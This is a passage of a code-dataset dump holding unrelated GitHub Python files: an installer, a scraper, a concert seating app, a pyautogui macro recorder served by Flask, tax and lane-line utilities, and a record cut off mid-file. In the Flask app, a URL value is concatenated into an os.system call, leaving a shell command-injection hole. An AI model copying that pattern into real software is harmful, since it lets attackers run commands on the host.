if:\n # - neither 'package' nor 'group' flags are set (i.e. install everything)\n # - passed by 'package' flag (user specified a package)\n # - the package is part of a group passed by 'group' flag (user specified a group)\n #\n if (package or group) and (binary in package or pkg_group in group):\n install_binary(Path(bin_path), binary, appinfo)\n\n logger.info(\"Installation complete\")\n\n\ndef install_binary(install_path: Path, binary_name: str, package_data: dict) -> None:\n \"\"\"Parses package metadata and wraps all installation steps.\n\n Args:\n install_path: The full path to the install directory.\n binary_name: Filename to give the binary in the install_path.\n package_data: Package metadata from the JSON config file.\n \"\"\"\n\n logger.info(\"Installing %s...\", binary_name)\n\n #\n # The `url` field can be a string or dictionary depending on if the link is template-able.\n # See the README for more information.\n #\n if isinstance(package_data[\"url\"], Mapping):\n url = replace_placeholder_in_string(package_data[\"url\"][SYSTEM], package_data[\"version\"])\n else:\n url = replace_placeholder_in_string(package_data[\"url\"], package_data[\"version\"])\n\n download_dir = Path(tempfile.mkdtemp())\n downloaded_file = download(url, download_dir)\n\n if \"extract\" in package_data:\n binary_to_install = extract(\n package_data[\"extract\"][\"type_of_archive\"],\n replace_placeholder_in_string(\n package_data[\"extract\"][\"file_to_extract\"], package_data[\"version\"]\n ),\n downloaded_file,\n )\n else:\n binary_to_install = downloaded_file\n\n binary_full_path = PurePath.joinpath(install_path, binary_name)\n move_bin(binary_to_install, binary_full_path)\n chmod_exec(binary_full_path)\n\n logger.info(\"Installed %s to %s\", binary_name, binary_full_path)\n\n if Path.is_dir(download_dir):\n logger.debug(\"Removing %s\", download_dir)\n shutil.rmtree(download_dir)\n\n\ndef download(source: str, save_path: Path) -> str:\n \"\"\"Download the package from a URL source.\"\"\"\n destination = PurePath.joinpath(save_path, os.path.basename(source))\n logger.debug(\"Downloading from %s\", source)\n logger.debug(\"Saving download to %s\", destination)\n with urllib.request.urlopen(source) as response, open(destination, \"wb\") as output:\n output.write(response.read())\n return destination\n\n\ndef extract(type_of_archive: str, file_to_extract: str, archive: Path) -> str:\n \"\"\"A wrapper method to extract tar.gz and zip archives.\n\n Args:\n type_of_archive: The file type of the archive (e.g. zip, targz).\n file_to_extract: The filename to extract from the archive.\n archive: The full path to the compressed file.\n \"\"\"\n\n logger.debug(\"Extracting %s\", archive)\n\n destination = archive.parent\n\n if type_of_archive == \"targz\":\n with tarfile.open(archive, \"r:gz\") as tar_file:\n tar_file.extract(file_to_extract, destination)\n elif type_of_archive == \"zip\":\n with zipfile.ZipFile(archive, \"r\") as zip_file:\n zip_file.extract(file_to_extract, destination)\n else:\n logger.error(\"Archive type %s not supported.\", type_of_archive)\n sys.exit(1)\n\n logger.debug(\"Extracted %s to %s\", file_to_extract, destination)\n return PurePath.joinpath(destination, file_to_extract)\n\n\ndef move_bin(source: Union[Path, str], destination: Union[Path, str]) -> None:\n \"\"\"Moves the binary to a location in the PATH.\"\"\"\n try:\n logger.debug(\"Moving %s to %s\", source, destination)\n shutil.move(source, destination)\n except OSError as error:\n logger.exception(error)\n sys.exit(1)\n\n\ndef chmod_exec(filename: Union[Path, str]) -> None:\n \"\"\"Makes a binary executable; unix 755 permissions.\"\"\"\n logger.debug(\"Making %s executable\", filename)\n os.chmod(filename, 0o0755) # Octal in Python needs the leading '0o'.\n\n\ndef replace_placeholder_in_string(string: str, version: str) -> str:\n \"\"\"Replaces instances of template variables with appropriate values.\"\"\"\n conversions = {\n \"{{ version }}\": version,\n \"{{ system }}\": SYSTEM,\n \"{{ machine }}\": MACHINE,\n }\n for placeholder, replacement in conversions.items():\n string = string.replace(placeholder, replacement)\n return string\n\n\nif __name__ == \"__main__\":\n # The following check is disabled because Click handles parameter values.\n # pylint: disable=no-value-for-parameter\n infrastaller()\n","repo_name":"bradleyfrank/notes-etc","sub_path":"scripts/Python/infrastaller.py","file_name":"infrastaller.py","file_ext":"py","file_size_in_byte":8622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70927295413","text":"#!/usr/bin/env python3\n\nimport re\nimport json\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom .version import USER_AGENT\n\nHEADERS = { \"User-Agent\": USER_AGENT }\nPLACE_URL = \"https://www.reddit.com/place?webview=true\"\n\nDICT_RE = re.compile(r'\\{.+\\}')\nWSURL_RE = re.compile(r'\"place_websocket_url\": *\"([^\"]+)\"')\n\n#\n# This is perhaps the most hacky part of the project.\n# Our goal is to get a URL that we can hook a WebSocket\n# up to, and the only way I've found to do this is to\n# load /place like a browser and parse the HTML.\n#\ndef get_websocket_url():\n r = requests.get(PLACE_URL, headers=HEADERS)\n\n try:\n # the compliant way\n dom = BeautifulSoup(r.text, \"html.parser\")\n element = dom.find(id='config')\n match = DICT_RE.search(element.text)\n obj = json.loads(match.group(0))\n return obj[\"place_websocket_url\"]\n\n except (json.JSONDecodeError, KeyError, TypeError, AttributeError) as e:\n # the hacky way\n match = WSURL_RE.search(r.text)\n if not match:\n return None\n else:\n return match.group(1)\n\n","repo_name":"bell345/saving-place","sub_path":"savingplace/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20511968621","text":"import json\nfrom json.decoder import JSONDecodeError\n\n\"\"\"\nThis example code creates a 2d list (2d matrix) that can store seating.\nThe matrix is populated with a since all seats are available\n\"\"\"\n\n# our test matrix has 20 rows and 26 columns\nimport re\n\n\nn_row = 20\nn_col = 26\nFRONT_ROW_PRICE = 80\nMIDDLE_ROW_PRICE = 50\nBACK_ROW_PRICE = 25\nMASK_FEE = 5\nREGEX = re.compile(r'([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\\.[A-Z|a-z]{2,})+')\nalphaToNum = {'a':0, 'b':1, 'c':2, 'd':3, 'e':4, 'f':5, 'g':6, 'h':7,\n 'i':8, 'j':9, 'k':10, 'l':11, 'm':12, 'n':13, 'o':14,\n 'p':15, 'q':16, 'r':17, 's':18, 't':19, 'u':20, 'v':21,\n 'w':22, 'x':23, 'y':24, 'z':25}\n\n# available seat\navailable_seat = 'a'\nunavailable_seat = 'X'\n# create some available seating\nseating = []\n\ndef CreateSeating():\n for r in range(n_row):\n row = []\n for c in range(n_col):\n row.append(available_seat)\n seating.append(row)\n\ndef PrintSeating():\n # print available seating\n print('\\t' + \"a b c d e f g h i j k l m n o p q r s t u v w x y z\")\n for r in range(n_row):\n print(r, end=\"\\t\")\n for c in range(n_col):\n print(seating[r][c], end=\" \")\n print()\n\ndef SeatPricing():\n # print seating prices\n print()\n print(\"Front Rows price: $80, Rows 0-4\")\n print(\"Middle Rows price: $50, Rows 5-10\")\n print(\"Back Rows price: $25, Rows 11-19\")\n print()\n\ndef CheckRowSize(seat):\n if len(seat) == 3:\n row = int(seat[0:2])\n column = alphaToNum[seat[2]]\n else:\n row = int(seat[0])\n column = alphaToNum[seat[1]]\n return row, column\n\ndef CheckAvail(seat):\n row, column = CheckRowSize(seat)\n if row in [1, 3, 5, 7, 9, 11, 13, 15, 17, 19]:\n print(\"Sorry, all odd rows are unavailable due to COVID restrictions.\")\n return False\n elif seating[row][column] == 'X':\n print(\"Sorry, this seat is occupied.\")\n return False\n \n if column == 24:\n if seating[row][column+1] == 'X' or seating[row][column-1] == 'X' or seating[row][column-2] == 'X':\n print(\"Sorry, this seat is unavailable due to COVID restrictions.\")\n return False\n elif column == 25:\n if seating[row][column-1] == 'X' or seating[row][column-2] == 'X':\n print(\"Sorry, this seat is unavailable due to COVID restrictions.\")\n return False\n else:\n if seating[row][column+1] == 'X' or seating[row][column+2] == 'X' or seating[row][column-1] == 'X' or seating[row][column-2] == 'X':\n print(\"Sorry, this seat is unavailable due to COVID restrictions.\")\n return False\n\ndef BuyTickets(purchaseList):\n ticketCosts = 0\n for x in purchaseList:\n row, column = CheckRowSize(x)\n seating[row][column] = 'X'\n if (0 <= row <= 4):\n ticketCosts = ticketCosts + FRONT_ROW_PRICE\n elif (5 <= row <= 10):\n ticketCosts = ticketCosts + MIDDLE_ROW_PRICE\n elif (11 <= row <= 19):\n ticketCosts = ticketCosts + BACK_ROW_PRICE\n\n tax = 0.0725*ticketCosts \n totalCost = ticketCosts + tax + MASK_FEE\n print()\n print(\"------------------------\")\n print(\"--- PURCHASE SUMMARY ---\")\n print(\"------------------------\")\n print(f\"Subtotal = ${ticketCosts:.2f}\")\n print(f\"State Tax = ${tax:.2f}\")\n print(f\"Mask Fee = ${MASK_FEE:.2f}\")\n print(f\"Total Cost = ${totalCost:.2f}\")\n\n print()\n print()\n while True:\n userName = input(\"Please enter your name: \").lower()\n if not (userName == \"\"):\n break\n else:\n print(\"Error! Name cannot be blank.\")\n while True:\n userEmail = input(\"Please enter your email: \")\n if re.fullmatch(REGEX, userEmail):\n break\n else:\n print(\"Error! Please provide a valid email address.\")\n\n jsonData.append({\n \"name\": userName,\n \"numTickets\": len(purchaseList),\n \"seats\": purchaseList,\n \"email\": userEmail,\n \"totalCost\": totalCost\n })\n with open(\"SavedSeatPurchases.json\", 'w+') as json_file:\n json.dump(jsonData, json_file, indent = 4, separators=(',',': '))\n\n\nuserQuit = False\nCreateSeating()\nwith open(\"SavedSeatPurchases.json\", \"r+\") as myJson:\n try:\n jsonData = json.load(myJson)\n for customer in jsonData:\n for x in customer['seats']:\n row, column = CheckRowSize(x)\n seating[row][column] = 'X'\n except JSONDecodeError:\n jsonData=[]\n print(\"File was empty, creating an empty list\")\n\nwhile (not userQuit):\n # menu\n print()\n print(\"•••••••••••••••••••••••\")\n print(\"Welcome to the Concert!\")\n print(\"•••••••••••••••••••••••\")\n print()\n print(\"[B] buy a ticket\")\n print(\"[D] display all purchases\")\n print(\"[S] search by name\")\n print(\"[V] view available seating\")\n print(\"[Q] quit\")\n print()\n\n # get the user input\n userInput = input(\"Enter a command:\")\n lowerInput = userInput.lower()\n firstChar = lowerInput[0:1]\n\n # quit\n if firstChar == 'q':\n userQuit = True\n print()\n print(\"Thank you for purchasing tickets for the concert!!\")\n print()\n \n # buy a ticket\n elif firstChar == 'b':\n \"\"\"\n - provide receipt with state tax of 7.25%\n - additional mandatory mask fee of $5\n - when purchase is made ask for name and email address\n \"\"\"\n\n PrintSeating()\n SeatPricing()\n while True:\n numTickets = input(\"How many tickets would you like to buy? \")\n if not (numTickets == \"\"):\n numTickets = int(numTickets)\n break\n else:\n print(\"Error! Number of tickets you are buying cannot be blank.\")\n ticketList = []\n print()\n print(\"All odd rows are unavailable due to COVID restrictions.\")\n print(\"When you choose your seat make sure to enter row number and column letter.\")\n print(\"For example: row 2 column c would be 2c\")\n print()\n for x in range(numTickets):\n while True:\n seatChoice = input(f\"Pick seat #{x+1} (m to go to menu): \").lower()\n if (seatChoice == \"\"):\n print(\"Error! Seat choice cannot be blank.\")\n continue\n if seatChoice == 'm':\n break\n if CheckAvail(seatChoice) == False:\n continue\n else:\n ticketList.append(seatChoice)\n break\n if seatChoice == 'm':\n break\n \n if seatChoice != 'm':\n BuyTickets(ticketList)\n\n\n # display all purchases\n elif firstChar == 'd':\n \"\"\"\n - prints all purchases made\n - shows the total amount of money the venue has made\n \"\"\"\n venueMoney = 0\n for customerPurchase in jsonData:\n print(f\"Customer ({customerPurchase['name']}) purchased {customerPurchase['numTickets']} ticket(s). Total price paid was ${customerPurchase['totalCost']:.2f}.\")\n venueMoney = venueMoney + customerPurchase['totalCost']\n print()\n print(f\"The total money the venue has made is ${venueMoney}\")\n\n \n # search by name\n elif firstChar == 's':\n \"\"\"\n - displays tickets purchased by user with specific name\n \"\"\"\n lookupUser = input(\"Please enter customers name to lookup tickets purchased: \").lower()\n for customer in jsonData:\n if lookupUser == customer['name']:\n print()\n print(f\"Customer ({lookupUser}) purchased {customer['numTickets']} ticket(s). Seat(s) are {customer['seats']}.\")\n break\n else:\n print()\n print(\"Error! Customer not found.\")\n\n # view available seating\n elif firstChar == 'v':\n \"\"\"\n - available seats are indicated with a lower case a\n - occupied seats are indicated with a capital X\n - 2 social distancing seats between each occupied seat on a row\n - 1 row distance between each row\n - bulk tickets can sit next to each other\n - 3 types of seating\n - front seat price $80\n - rows 0 - 4\n middle seat price $50\n - rows 5 - 10\n - back seat price $ 25\n - rows 11 - 19\n \"\"\"\n PrintSeating()","repo_name":"Avneet2026/Outdoor-Park-Concert-App","sub_path":"Concert-App.py","file_name":"Concert-App.py","file_ext":"py","file_size_in_byte":8612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71763950134","text":"import face_recognition\nfrom PIL import Image\n\n# load image name\nimage = face_recognition.load_image_file(\"images/1.jpg\")\n\n# recognise faces and their locations (coordinates)\nface_locations = face_recognition.face_locations(image)\n\nprint(face_locations)\nprint(type(face_locations))\nprint(\"Faces found \", len(face_locations))\n\n'''\nTo crop your image, you need top-left and right-bottom coordinates (top, left, right, bottom)\nour face locations is organized differently (top, right, bottom, left)\n'''\nfor face_location in face_locations:\n # get the coordinates of the image\n top, right, bottom, left = face_location\n\n # Extract the region of the image that contains the face\n face_image = image[top:bottom, left:right]\n img = Image.fromarray(face_image)\n img.show()\n\n","repo_name":"Brian1011/facial_recognition_test","sub_path":"facial.py","file_name":"facial.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43325333991","text":"# Library imports\n# import pyHook\n# from pyHook.HookManager import HookConstants\n# import pythoncom\nimport pyautogui\nimport time\nimport os\nimport json\nfrom flask import Flask, request, jsonify\nfrom flask_cors import CORS\n\n# Initialise flask app\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route('/')\ndef hello_world():\n return 'Hello World!'\n\n\n@app.route('/record/<bot_name>')\ndef record(bot_name):\n # # Called when mouse events are received\n # def on_mouse_event(event):\n # # Check for all events except 'mouse move'\n # if event.MessageName != 'mouse move':\n # # Check button\n # if 'right' in event.MessageName:\n # button = 'right'\n # if 'left' in event.MessageName:\n # button = 'left'\n #\n # # Check direction\n # if 'down' in event.MessageName:\n # direction = 'down'\n # if 'up' in event.MessageName:\n # direction = 'up'\n #\n # # Append event to sequence\n # event_sequence.append({\n # 'type': 'mouse',\n # 'button': button,\n # 'direction': direction,\n # 'time': event.Time,\n # 'window': event.Window,\n # 'windowName': event.WindowName,\n # 'position': event.Position\n # })\n #\n # # return True to pass the event to other handlers\n # return True\n #\n # # Called when keyboard events are received\n # def on_keyboard_event(event):\n # # Clean up when escape is pressed\n # if event.Key == 'Escape':\n # # Load existing bot from given file\n # with open(bot_file_path) as bot_file:\n # bot = json.load(bot_file)\n #\n # # Merge newly created event_sequence with existing one\n # bot['events'] += event_sequence\n #\n # # Open bot_file in write mode\n # with open(bot_file_path, 'w') as bot_file:\n # # Replace current bot in bot_file with new bot\n # json.dump(bot, bot_file, indent=2)\n #\n # # Exit script\n # exit(0)\n #\n # # If ctrl pressed\n # if pyHook.GetKeyState(HookConstants.VKeyToID('VK_CONTROL')):\n # # If prev was ctrl as well\n # if event_sequence and event_sequence[-1]['type'] == 'keyboard' and \\\n # event_sequence[-1]['key'] == 'ctrlleft':\n # # If not this key is ctrl\n # if not (event.Key == 'Lcontrol' or event.Key == 'Rcontrol'):\n # # Append to prev entry's nextKeys list\n # event_sequence[-1]['nextKeys'].append(event.Key.lower())\n # else:\n # # Store this event with key as ctrl and nextKey as this key\n # event_sequence.append({\n # 'type': 'keyboard',\n # 'messageName': event.MessageName,\n # 'time': event.Time,\n # 'window': event.Window,\n # 'windowName': event.WindowName,\n # 'ascii': event.Ascii,\n # 'key': 'ctrlleft',\n # 'nextKeys': []\n # })\n # # Elif shift pressed\n # elif pyHook.GetKeyState(HookConstants.VKeyToID('VK_SHIFT')):\n # # If prev was shift as well\n # if event_sequence and event_sequence[-1]['type'] == 'keyboard' and \\\n # event_sequence[-1]['key'] == 'shiftleft':\n # # If not this key is shift\n # if not (event.Key == 'Lshift' or event.Key == 'Rshift'):\n # # Append to prev entry's nextKeys list\n # event_sequence[-1]['nextKeys'].append(event.Key.lower())\n # else:\n # # Store this event with key as shift and nextKey as this key\n # event_sequence.append({\n # 'type': 'keyboard',\n # 'messageName': event.MessageName,\n # 'time': event.Time,\n # 'window': event.Window,\n # 'windowName': event.WindowName,\n # 'ascii': event.Ascii,\n # 'key': 'shiftleft',\n # 'nextKeys': []\n # })\n # # For non ctrl/shift long-press situations\n # else:\n # # Handle special keys\n # event_sequence.append(handle_special_keys(event))\n #\n # # Return True to pass the event to other handlers\n # return True\n #\n # # Convert special key inputs from pyhook to pyautogui nomenclature\n # def handle_special_keys(event):\n # # If not a capital letter\n # if int(event.Ascii) < 65 or int(event.Ascii) > 90:\n # # Make all characters lowercase (handles mose cases)\n # key = event.Key.lower()\n # else:\n # key = event.Key\n #\n # # Define pyhook-pyautogui dict\n # conversion_dict = {\n # 'lshift': 'shiftleft',\n # 'rshift': 'shiftleft',\n # 'lcontrol': 'ctrlleft',\n # 'rcontrol': 'ctrlleft',\n # 'lmenu': 'altleft',\n # 'rmenu': 'altleft',\n # 'back': 'backspace',\n # 'prior': 'pageup',\n # 'next': 'pagedown',\n # 'volume_up': 'volumeup',\n # 'volume_down': 'volumedown',\n # 'volume_mute': 'volumemute',\n # 'capital': 'capslock',\n # 'lwin': 'winleft',\n # 'rwin': 'winleft'\n # }\n #\n # # Replace special keys with pyautogui equivalent\n # if key in conversion_dict:\n # key = conversion_dict[key]\n #\n # # Final event to return\n # final_event = {\n # 'type': 'keyboard',\n # 'messageName': event.MessageName,\n # 'time': event.Time,\n # 'window': event.Window,\n # 'windowName': event.WindowName,\n # 'ascii': event.Ascii,\n # 'key': key\n # }\n #\n # # If key is ctrl/shift, include nextKeys attribute\n # if key == 'shiftleft' or key == 'ctrlleft':\n # final_event['nextKeys'] = []\n #\n # return final_event\n #\n # # Get bot_file_path given bot_name\n # bot_file_path = os.path.join(os.getcwd(), bot_name + '.json')\n #\n # # Initialise global list of events\n # event_sequence = []\n #\n # # Create a hook manager\n # hm = pyHook.HookManager()\n #\n # # Watch for all mouse and keyboard events\n # hm.MouseAll = on_mouse_event\n # hm.KeyDown = on_keyboard_event\n #\n # # Set the hooks\n # hm.HookMouse()\n # hm.HookKeyboard()\n #\n # # Wait forever (using windows message loop)\n # pythoncom.PumpMessages()\n\n os.system('python recorder.py ' + bot_name)\n\n # Exit route\n return 'success'\n\n\n@app.route('/play/<bot_name>')\ndef play(bot_name):\n # Execute one mouse event\n def execute_mouse_event(event):\n # If down direction\n if event['direction'] == 'down':\n pyautogui.mouseDown(button=event['button'], x=event['position'][0], y=event['position'][1])\n\n # If up direction\n if event['direction'] == 'up':\n pyautogui.mouseUp(button=event['button'], x=event['position'][0], y=event['position'][1])\n # Pause python\n time.sleep(2)\n\n # Execute one mouse event\n def execute_keyboard_event(event):\n # If ctrl/shift\n if event['key'] == 'shiftleft' or event['key'] == 'ctrlleft':\n # Press special key\n pyautogui.keyDown(event['key'])\n\n # Loop through nextKeys\n for next_key in event['nextKeys']:\n pyautogui.press(next_key)\n\n # For any other key, just press\n pyautogui.press(event['key'])\n\n # Get bot_file_path from electron\n bot_file_path = os.path.join(os.getcwd(), bot_name + '.json')\n\n # Load bot (passed in as argument by electron)\n with open(bot_file_path) as bot_file:\n bot = json.load(bot_file)\n\n # Execute bot\n for event in bot['events']:\n # For mouse events\n if event['type'] == 'mouse':\n execute_mouse_event(event)\n\n # For keyboard events\n if event['type'] == 'keyboard':\n execute_keyboard_event(event)\n\n # Exit route\n return 'success'\n\n\n@app.route('/load-steps/<bot_name>')\ndef load_steps(bot_name):\n # Get bot_file_path from electron\n bot_file_path = os.path.join(os.getcwd(), bot_name + '.json')\n\n with open(bot_file_path) as bot_file:\n bot = json.load(bot_file)\n return jsonify(bot)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"shreyasparbat/autobot","sub_path":"src/pyAutomation/flask-app.py","file_name":"flask-app.py","file_ext":"py","file_size_in_byte":8742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28525077725","text":"count1 = 0\ncount3 = 0\n\ndef count_diff(val1, val2):\n global count1\n global count3\n diff = val2 - val1\n \n if diff == 3:\n count3 += 1\n elif diff == 1:\n count1 += 1\n\ndata = sorted([int(x.strip()) for x in open(\"10/input.txt\")] + [0])\n\nfor i in range(len(data) - 1): \n count_diff(data[i], data[i + 1])\n\n# add final diff of 3 jolts to device\ncount3 += 1\n \nprint(count1 * count3)\n","repo_name":"bcwood/adventofcode2020","sub_path":"10/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15979716746","text":"from setuptools import find_packages, setup\nfrom typing import List\n\n########libraries / package installations#########\n# pip install -r requirements.txt\n\nHYPEN_E_DOT='-e .'\ndef get_requirements(file_path:str)->List[str]:\n '''\n this function returns the list of requirements\n '''\n requirements=[]\n with open(file_path) as file_obj:\n requirements=file_obj.readlines() #read the lines from file\n requirements=[req.replace(\"\\n\", \"\") for req in requirements]\n\n if HYPEN_E_DOT in requirements:\n requirements.remove(HYPEN_E_DOT)\n return requirements\n\nsetup(\n name ='mlproject',\n version = '0.0.1',\n author='bryan keane',\n author_email='bryankeane09@gmail.com',\n packages=find_packages(),\n install_requires=get_requirements('requirements.txt')\n)","repo_name":"bryank09/test-score-prediction","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28177731560","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 15 21:17:42 2017\n\n@author: Brilian\n\"\"\"\nimport numpy as np\n#plot softmax curves\nimport matplotlib.pyplot as plt\n\ndef softmax(x):\n expx = np.exp(x)\n return expx / expx.sum(axis=0) \n \nif __name__ == \"__main__\":\n scores = np.array([3.0, 1.0, 0.2]) \n print (softmax(scores))\n print (softmax(scores*10)) #the scores will be either near 1 or near 0\n print (softmax(scores/10)) #the scores will be in uniform distribution\n \n X = np.arange(-2.0, 6.0, 0.1)\n Xone = np.ones_like(X)\n scores = np.vstack([X, Xone, 0.2*Xone])\n \n plt.plot(X, softmax(scores).T, linewidth=2)\n plt.show()\n \n \n \n \n \n \n\n","repo_name":"briliantnugraha/Deep-learning-tensorflow-udacity","sub_path":"1.softmax.py","file_name":"1.softmax.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7810662961","text":"import numpy as np\nimport cv2\n\nclass ImageDecorator(object):\n\n def __init__(self):\n pass\n\n def fit(self):\n return\n\n def transform(self, _img, _lane_lines, _curvature):\n return np.copy(_img)\n\ndef trapezoid(img, src):\n src = np.int32(src)\n img = np.copy(img)\n src = src.reshape((-1,1,2))\n img = cv2.polylines(img, [src],True,(0,255,255), 5)\n return img\n\ndef weighted_img(img, initial_img, α=0.8, β=1., γ=0.):\n \"\"\"\n `img` is the output of the hough_lines(), An image with lines drawn on it.\n Should be a blank image (all black) with lines drawn on it.\n \n `initial_img` should be the image before any processing.\n \n The result image is computed as follows:\n \n initial_img * α + img * β + γ\n NOTE: initial_img and img must be the same shape!\n \"\"\"\n return cv2.addWeighted(initial_img, α, img, β, γ)\n\ndef image_in_image(original_image, img_array):\n\n output_image = np.copy(original_image)\n h, w = original_image.shape[0:2]\n margin = 50\n\n for pic_indx, pic in enumerate(img_array):\n resized = cv2.resize(pic, (int(w*0.3), int(h*0.3)), interpolation = cv2.INTER_AREA)\n r_h, r_w = resized.shape[0:2]\n \n # Scale up binary thresholded images\n if np.max(resized) == 1:\n resized = resized * 255\n\n # Add color channels to one channel images\n if len(resized.shape) == 2:\n resized = cv2.cvtColor(resized, cv2.COLOR_GRAY2RGB)\n\n output_image[0:r_h, pic_indx * (r_w + margin) : pic_indx * (r_w + margin) + r_w,:] = resized\n return output_image\n\ndef text_on_image(original_image, curvature=\"\", offset=\"\"):\n h, w = original_image.shape[0:2]\n\n text = \"Curvature: {0:4.1f} m Offset: {1:2.2f} m\".format(curvature, offset)\n \n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(original_image, text, (10, int(h*0.4)), font, 1, (255,255,255), 2, cv2.LINE_AA)\n return original_image\n\n","repo_name":"philippmarcus/CarND-Advanced-Lane-Lines","sub_path":"src/lanelines/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37216715381","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def plusOne(self, head: 'ListNode') -> 'ListNode':\n def helper(node):\n beforeAdd = node.val\n if node.next == None:\n node.val += 1\n else:\n node.val += helper(node.next)\n node.val %= 10\n return 1 if node.val == 0 and beforeAdd == 9 else 0 # this is the carry over digit\n\n if helper(head) == 1:\n newHead = ListNode(1)\n newHead.next = head\n return newHead\n else:\n return head\n\n\n","repo_name":"renjieliu/leetcode","sub_path":"0001_0599/369.py","file_name":"369.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"31874205741","text":"#!/usr/bin/python\n\n'''\nIssue #120\nAuthor: Ahmed\n\nUsage:\npython addspacerandrepeat.py\n\nReads in the contents of spacerdatabase.txt and DRdatabase.txt and imports their\ncontents to the Spacer and Repeat tables.\n\nA future iteration of this script could remove the hardcoded file paths and take in \ninput files as arguments.\n'''\n\n\nimport os\nimport sys\nfrom Bio import SeqIO\n\nspacerinput = '../data/spacerdatabase.txt'\nrepeatinput = '../data/DRdatabase.txt'\n\ndef populate_spacers():\n\tspacerfile = SeqIO.parse(spacerinput, 'fasta') \n\tfor entry in spacerfile: # that one file in data/\n\t\tspacer = entry.seq\n\t\tspacer, created = Spacer.objects.get_or_create(sequence = spacer)\n\t\t\ndef populate_repeats():\n\trepeatfile = SeqIO.parse(repeatinput, 'fasta')\n\tfor entry in repeatfile:\n\t\trepeat = entry.seq\n\t\trepeat, created = Repeat.objects.get_or_create(sequence = repeat)\n\nif __name__ == '__main__':\n\tprint(\"Initializing spacer table population.\")\n\timport os\n\timport django\n\tos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"phageAPI.settings\")\n\tdjango.setup()\n\tfrom restapi.models import Spacer, Repeat\n\tpopulate_spacers()\n\tprint(\"Spacer table population complete.\")\n\tprint(\"Initializing repeat table population.\")\n\tpopulate_repeats() \n\tprint(\"Repeat table population complete.\")\n\n","repo_name":"QuLogic/phageParser","sub_path":"phageAPI/addspacerandrepeat.py","file_name":"addspacerandrepeat.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"18167353860","text":"from flask import Flask, render_template, redirect, request, session\napp = Flask(__name__)\n\napp.secret_key = 'i have no enemies'\n\n@app.route('/')\ndef index():\n if 'key' in session:\n print('key exists')\n session['key'] += 1\n print(session['key'])\n else: \n session['key'] = 1\n print(session['key'])\n return render_template('index.html')\n\n@app.route('/add', methods=['POST'])\ndef loop():\n session['key'] += 1\n return redirect('/')\n\n@app.route('/destroy_session', methods = ['POST'])\ndef eat_cookies():\n session.clear()\n return redirect('/')\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"LJR41/core_counter","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2915992675","text":"# problem 3\r\ndef neighbor_sum(a_list):\r\n n = len(a_list)\r\n # create a new list where the neighbors of each element are added to it\r\n b_list = [0 for i in range(n)]\r\n for i in range(0, n):\r\n # when there's number on the leftside\r\n if i - 1 >= 0: \r\n b_list[i] += a_list[i - 1]\r\n # when there's number on the rightside \r\n if i + 1 < n: \r\n b_list[i] += a_list[i + 1]\r\n # add itself all the time \r\n b_list[i] += a_list[i] \r\n return b_list\r\n\r\n\r\n# problem 4\r\ndef cal(e):\r\n # all the tax rate\r\n taxRate = [0.1, 0.12, 0.22, 0.24, 0.32, 0.35, 0.37]\r\n # all thresholds corresponded with the tax rate\r\n Single = [0.0, 9950.0, 40525.0, 86375.0, 164925.0, 209425.0, 5236600.0]\r\n n = len(e)\r\n total = [0 for i in range(n)]\r\n\r\n for j in range(n): \r\n # for adding paid tax in every range\r\n add_paid = 0.0 \r\n # in 2021, income $12550 is tax free\r\n if e[j] <= 12550:\r\n continue\r\n # start to calculate income part which need be taxed\r\n e[j] -= 12550\r\n # go through 7 tax rate ranges\r\n for i in range(7):\r\n # when supposed tax part is less or equal to 0, meaning no income part need to be taxed\r\n if e[j] <= 0:\r\n break\r\n if i != 6:\r\n # the most supposed tax pay from current tax range\r\n diff = Single[i + 1] - Single[i]\r\n # how much income is supposed to be calculated from current tax rate range\r\n be_taxed = min(diff, e[j])\r\n # in case it will come negative numbers for complete logic, although it seems unnecessary\r\n be_taxed = max(0, be_taxed)\r\n # calculate how much tax should be paid from current range\r\n add_paid += taxRate[i] * be_taxed\r\n # remove already taxed income part from total income\r\n e[j] -= be_taxed\r\n else:\r\n # when income over $523601\r\n be_taxed = e[j]\r\n be_taxed = max(0, be_taxed)\r\n add_paid += taxRate[i] * be_taxed\r\n total[j] = add_paid\r\n return total\r\n\r\n\r\ndef get_income_tax(e):\r\n return cal(e)\r\n\r\n\r\n# problem 5\r\nclass 